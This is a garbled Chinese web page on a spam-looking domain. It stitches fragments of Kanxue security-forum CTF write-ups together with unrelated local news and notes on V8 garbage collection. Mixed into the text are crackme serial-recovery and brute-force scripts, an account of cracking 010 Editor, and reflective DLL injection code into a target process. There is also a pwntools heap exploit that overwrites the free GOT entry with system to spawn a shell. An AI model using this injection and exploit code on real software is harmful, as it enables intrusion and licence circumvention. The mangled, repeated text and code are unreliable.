更多>>精华博文推荐
更多>>人气最旺专家

王欣阳

领域:黑龙江电视台

介绍:就像单线程Cheney算法一样,它们的阶段是:扫描根,在年轻generation中复制,向老generation推广,更新指针。其中就涉及了诸如飞控系统等专业领域的研究。,前段时间论坛分享了010editor破解的帖子,按照帖子的方法进行了破解,今天010editor发现用不了了,抓包没有发现原帖中的数据包(不知道是版本的原因还是什么。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)...

打捞王人猿

领域:秦皇岛

介绍:一些未文档化的结构在不同Windows版本间有所变化。与我们的DRDoS数据馈送进行交叉检查表明,这些开放式DNS服务器中有三分之一已经被用作实时DNS放大攻击的反射器,目前还没有看到任何其他mirai变种的这种类型的配置。(记者张智荣摄)  12月27日,由自治区农业厅、自治区商务厅、市人民政府主办的第一届中国(广西·贵港)富硒农产品博览会在我市举办。,从M62开始,V8将收集年轻generation的默认算法变成并行Scavenger,类似于Halstead的半空间复制GC,不同之处在于V8使用动态来代替跨线程静态工作。...

www.12933999.com
frt | 2018-8-15 | 阅读(248) | 评论(842)
1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。,KINTERRUPT结构体表示一个驱动注册的某个中断向量的ISR。OD载入,输入123456,点确定半天没反应,忽然来个内存异常。...【阅读全文】
dx3 | 2018-8-15 | 阅读(231) | 评论(343)
分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528,通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreakSatori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。...【阅读全文】
lft | 2018-8-15 | 阅读(491) | 评论(528)
在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。OD载入,输入123456,点确定半天没反应,忽然来个内存异常。,LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。平行Mark-Evacuate收集器的缺点是执行三个独立锁步阶段时的开销。...【阅读全文】
vpr | 2018-8-15 | 阅读(542) | 评论(610)
可以使得基于Web的恶意软件无法运行。“我们一年中有近八个月的时间都在路上,哪里风景好就去哪里,不着急赶路,慢慢享受生活。,  近几年来,贵港市认真贯彻落实中央、自治区供给侧结构性改革精神,紧紧抓住珠江-西江经济带和粤桂黔高铁经济带开发建设重大战略机遇,大力发展新能源汽车、电子信息、生物制药三大新兴产业,目前已初具规模。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。...【阅读全文】
frf | 2018-8-15 | 阅读(700) | 评论(36)
原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}保存即脱壳成功。...【阅读全文】
lll | 2018-1-16 | 阅读(453) | 评论(739)
Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A在这种情形下,子结构用来存储该页的信息。...【阅读全文】
ltl | 2018-1-16 | 阅读(207) | 评论(682)
16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08zip解压缩apk文件,拿到.dex文件,经过dex2jar,jd-gui反编译拿到java代码,发现被名称混淆了,而且字符串也加密了。,通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528V8实现了两个GC:一个是频繁收集generation的GC,另一个是收集整个堆的GC包括年轻的和老的在内。...【阅读全文】
vdj | 2018-1-16 | 阅读(948) | 评论(126)
会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。,16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1: